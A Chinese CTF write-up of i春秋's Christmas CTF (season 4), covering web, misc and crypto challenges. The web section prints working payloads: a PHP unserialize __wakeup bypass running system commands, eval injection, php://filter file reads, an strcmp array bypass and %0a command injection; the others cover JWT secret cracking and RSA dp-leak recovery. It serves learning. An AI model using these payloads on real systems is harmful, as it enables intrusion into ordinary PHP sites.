「配枪朱丽叶。」

RootのCTF学习笔记。

i春秋圣诞CTF答题夺旗赛(第四季)做题记录(WEB+MISC+CRYPTO)

WEB部分

【nani】
啥也没有,看源代码发现一句话/index.php?file=show.php
访问show.php得到user.php,因为是file参数考虑是否有LFI。

?file=php://filter/read=convert.base64-encode/resource=user.php

得到user.php的源码:

<?php
class convent{
	var $warn = "No hacker.";
	function __destruct(){
		eval($this->warn);
	}
	function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
			$this->$k = null;
		}
	}
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

要实现可以执行php,需要绕过__wakeup()。
这里使用得是wakeup(CVE-2016-7124),当成员属性数目大于实际数目时,可以绕过wakeup方法。
参考资料:四个实例递进php反序列化漏洞理解
列出当前目录所有文件:

cmd=O:7:"convent":5:{s:4:"warn";s:13:"system("ls");";}

https://s2.ax1x.com/2019/12/28/lmqgiR.png
查看dsuhhjfdgjhaskjdkj.txt

cmd=O:7:"convent":5:{s:4:"warn";s:37:"system("cat dsuhhjfdgjhaskjdkj.txt");";}

https://s2.ax1x.com/2019/12/28/lmLDpt.png


【random】
直接给了源码:

 <?php
    show_source(__FILE__);
    include "flag.php";
    $a = @$_REQUEST['hello'];
    $seed = @$_REQUEST['seed'];
    $key = @$_REQUEST['key'];
    
    mt_srand($seed);
    $true_key = mt_rand();
    if ($key == $true_key){
        echo "Key Confirm";
    }
    else{
        die("Key Error");
    }
    eval( "var_dump($a);");
?> 

可以注意到mt_rand()。其实这是伪随机数。
参考:https://www.cnblogs.com/zaqzzz/p/9997855.html
当伪随机数传入($seed)的是12345的时候,第一个对应的($key)是162946439
对于第二步eval( "var_dump($a);");可以构造恶意payload闭合var_dump的括号。

);eval(show_source("flag.php")

https://s2.ax1x.com/2019/12/28/lmOLKf.png


【admin】
查看源代码

<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
?>

对于:

isset($user)&&(file_get_contents($user,'r')==="admin")

可以用php://input实现。
https://s2.ax1x.com/2019/12/28/lmXNid.png
下一步进行include()函数,也就是包含文件,提示class.php,尝试利用filter读取class.php的源代码:

file=file=php://filter/read=convert.base64-encode/resource=class.php

得到:

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//fffffflag.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "Awwwwwwwwwww man";
    }
}
?>

直接序列化+php伪协议读取。
最终payload:

/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:62:"php://filter/read=convert.base64-encode/resource=fffffflag.php";}
post一个admin

得到的如图,最后一步base64解码得到flag。
https://s2.ax1x.com/2019/12/28/lmXXS1.png


ping
提示ping.php,然后查看源代码:

<?php
    $password="****************";
     if(isset($_POST['password'])){
        if (strcmp($_POST['password'], $password) == 0) {
            echo "Right!!!login success";
            include($_REQUEST['path']);
            exit();
        } else {
            echo "Wrong password..";
        }
?>

strcmp函数不能比较数组,如果传入了数组,0==0,直接绕过。
然后用php伪协议读取ping.php的代码。

(post)
password[]=&path=php://filter/read=convert.base64-encode/resource=ping.php

ping.php

<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}

可见题里把很多字符都过滤了,限制了我们的命令执行。
记一个知识点:

一些命令分隔符
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

对于这道题,命令分隔符可以用%0a。

?ip=127.0.0.1%0als
?ip=127.0.0.1%0acat ffffff1111aagggg.txt

https://s2.ax1x.com/2019/12/28/lmjx9s.png


【post1】
根据提示 fuzz linux cut -c
https://bbs.ichunqiu.com/data/attachment/forum/201912/31/152108bze6b46hf3fhphd6.png.thumb.jpg

【post2】
WP是时间盲注。
https://bbs.ichunqiu.com/data/attachment/forum/201912/31/153445leee7r2sdaqq9zpb.png.thumb.jpg

MISC部分

【XImg】
stegsolve打开。在这里有正确的flag:
https://s2.ax1x.com/2019/12/28/lmv84H.png

pypi
这题可太·有·趣·了(咬牙切齿T T
给了一个图片和一个加密压缩包,压缩包可以先不用看了,大概率密码跟图片有关。
用stegsolve打开图片,提取这些字符(base85):
https://s2.ax1x.com/2019/12/28/lmx3LV.png

AU-m]@RjpB:MEEm<I.4k:2*:@8T%E`@m`gG8S`9I<^TJ>/nK<#H=U)KBhrG7GYMpI0MYSM1J^DSG=cLmBjjMJF_!j22G%^_Dd$(+<+/j=F]hgE0k5'#DI[rY:0L%cB44n:B3/qdG=jYcB2qGkH=JaAG%5AdBhUldE*6:?BhrJ40hkVMGtiU#G>2gE3A,N!<_5Z"DcK5C<bk*J=$^FbB1,WX=E$&OGW7ZY68<.-3)sfp<+Trl5l

这个网站可以进行解密,得到一大串疑似base64

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiaGludCI6IlRoZSBTaWduYXR1cmUncyBNZDUgaXMgWmlwJ3MgUGFzc3dvcmQiLCJpYXQiOjE1MTYyMzkwMjJ9.wvVICsoUEmVkDxWAfBgDR9Xp32x88OB1h08UmTTenxA

这里如果细心的话会发现它是由两串base64组成的字符串,因为有个“.”作为连接。
以这串base64的头进行搜索,学到了新的知识点——jwt。
参考资料:JWT备忘录 | Threezh1's blog

把它扔到https://jwt.io/这里进行解密:
https://s2.ax1x.com/2019/12/28/lmzN0f.png

很明显这有一个重点提示:签名的md5是压缩文件的密码:

  "hint": "The Signature's Md5 is Zip's Password",

资料上说HS256可以尝试一下爆破。这里使用c-jwt-cracker进行爆破。
安装好非常轻松就得到了明文是“Zac1”。顺顺利利,开心qwq。
https://s2.ax1x.com/2019/12/28/lmzWAU.png
别忘了根据提示,取它的md5(f228128e1042ad0affd8c04a3fbd90c5)。
https://s2.ax1x.com/2019/12/28/lmz59J.png
这样就打开了压缩文件。里面就11个大痣 ——你弟寒王(不

gameforflag

这道题叫pypi,很明显是上pypi.org这个网站看看有没有这个库。别问,问就是做题砸经验(。
https://s2.ax1x.com/2019/12/28/ln9Elj.png
害,真的有。给他download,在gameforflag-0.0.1\gameforflag\flag.py里找到了flag。

CRYPTO部分

RSA

e=65537
n=444511907374811621333864968430251419855347882081695888904531795366857517417289716213363408137550866409163408633679685635315881237914815762134949770798439327373469286675370381115822381092997433491238495970527484356127131132345893007368069814286822931047915482947544230741924674880304607902413527794657556174021361113759962742306966643629644800759209829893438222447478882663573891473386520138017997195362559918730232709719486847337248425121547893862458228964360472119045154255446606447184782930767120924229261090464514045697735201016333117579385787597262783543886217220299959364476125167328883418109849139384318692440116746717156025869399990008034002881758452936213924306428955442475834311604905905260723607788504332389824348292286402781474054375184928462870240017012586229806658850881803134678565293180207556731290044948846308165695896369703720482941116135445836684836990286418102640883844706122407701782360072256987197118468391662366105964629786899281484884877640733549203394680006068637251717623691598753570260479050407069262236583726905151495550801274277155039839844872050380772537409714164680083539118124646217833871816488578092001365486400242215564766336041803413006183310354910820598373905617564797817421231716827155927723376783
dp=20688083194401098183398626094352469308150523583583104270723199988926694776131531953207031668652408481119466919329893607763657623952024909876740067584191851505244658377465365020503008072292716279306615911408934182303357474341329766407852983275790499225322862499664901633190925232802162977135254216707834894816730529759991634343322039528413883937752397011466779521590767711786777317159161700645318091278528395252576086979838790917201179739657819356771788743301669430631157222234922010934163688512789947321007479617996170289230676037655762865962020063056831019134814970048718940037920888121806608032574204482673114726401
c=378245912689862819668716257795108255336928883693984263805908702337591160408234974716356292413190786704878880742998101926728409825216339197208512929079484687018187263522243781958701468849915372674337274640196043362477406890622345686503512151501592397926764442945655423801602100185867239106836704835215686246083812117439685990637352246191517010645343417283169123105697782747026231044064639955374854873089604766677942725374108213749982052985866259433900255218180285975477045323647923881322428349632056484406017564586481848442834247385904402824072352354677823823078646874632195128328299942128116508251564811923564362991466660005438580449558184197006623490303413636461137434703925564785299335803341222051570131842042120923719184091689629809380828306649702440460761848154682611972768099340896995546188526274235118488618951865589050087434162728116205149188555273127955536588551565951618535230908129965250151258048934985977493740897420718340268536363763127676899114219828753570040978640121185354431884041597851910784347040946251752577201426797684912671641470307249794269755972278013107831885544781029384256069586713714201822683071958299038410102821213570933652719191413490563464823296852894960994148922867149263897530215474500564443133161527

原理可以参考:RSA之拒绝套路(1) - 簡書

import gmpy2
import libnum
e = 65537
n = 444511907374811621333864968430251419855347882081695888904531795366857517417289716213363408137550866409163408633679685635315881237914815762134949770798439327373469286675370381115822381092997433491238495970527484356127131132345893007368069814286822931047915482947544230741924674880304607902413527794657556174021361113759962742306966643629644800759209829893438222447478882663573891473386520138017997195362559918730232709719486847337248425121547893862458228964360472119045154255446606447184782930767120924229261090464514045697735201016333117579385787597262783543886217220299959364476125167328883418109849139384318692440116746717156025869399990008034002881758452936213924306428955442475834311604905905260723607788504332389824348292286402781474054375184928462870240017012586229806658850881803134678565293180207556731290044948846308165695896369703720482941116135445836684836990286418102640883844706122407701782360072256987197118468391662366105964629786899281484884877640733549203394680006068637251717623691598753570260479050407069262236583726905151495550801274277155039839844872050380772537409714164680083539118124646217833871816488578092001365486400242215564766336041803413006183310354910820598373905617564797817421231716827155927723376783 
dp=20688083194401098183398626094352469308150523583583104270723199988926694776131531953207031668652408481119466919329893607763657623952024909876740067584191851505244658377465365020503008072292716279306615911408934182303357474341329766407852983275790499225322862499664901633190925232802162977135254216707834894816730529759991634343322039528413883937752397011466779521590767711786777317159161700645318091278528395252576086979838790917201179739657819356771788743301669430631157222234922010934163688512789947321007479617996170289230676037655762865962020063056831019134814970048718940037920888121806608032574204482673114726401
c = 378245912689862819668716257795108255336928883693984263805908702337591160408234974716356292413190786704878880742998101926728409825216339197208512929079484687018187263522243781958701468849915372674337274640196043362477406890622345686503512151501592397926764442945655423801602100185867239106836704835215686246083812117439685990637352246191517010645343417283169123105697782747026231044064639955374854873089604766677942725374108213749982052985866259433900255218180285975477045323647923881322428349632056484406017564586481848442834247385904402824072352354677823823078646874632195128328299942128116508251564811923564362991466660005438580449558184197006623490303413636461137434703925564785299335803341222051570131842042120923719184091689629809380828306649702440460761848154682611972768099340896995546188526274235118488618951865589050087434162728116205149188555273127955536588551565951618535230908129965250151258048934985977493740897420718340268536363763127676899114219828753570040978640121185354431884041597851910784347040946251752577201426797684912671641470307249794269755972278013107831885544781029384256069586713714201822683071958299038410102821213570933652719191413490563464823296852894960994148922867149263897530215474500564443133161527

for i in range(1,65538):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)/i)+1)==0:
            p=((dp*e-1)/i)+1
            q=n/(((dp*e-1)/i)+1)
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)%phi
            print libnum.n2s(pow(c,d,n))

运行得到flag。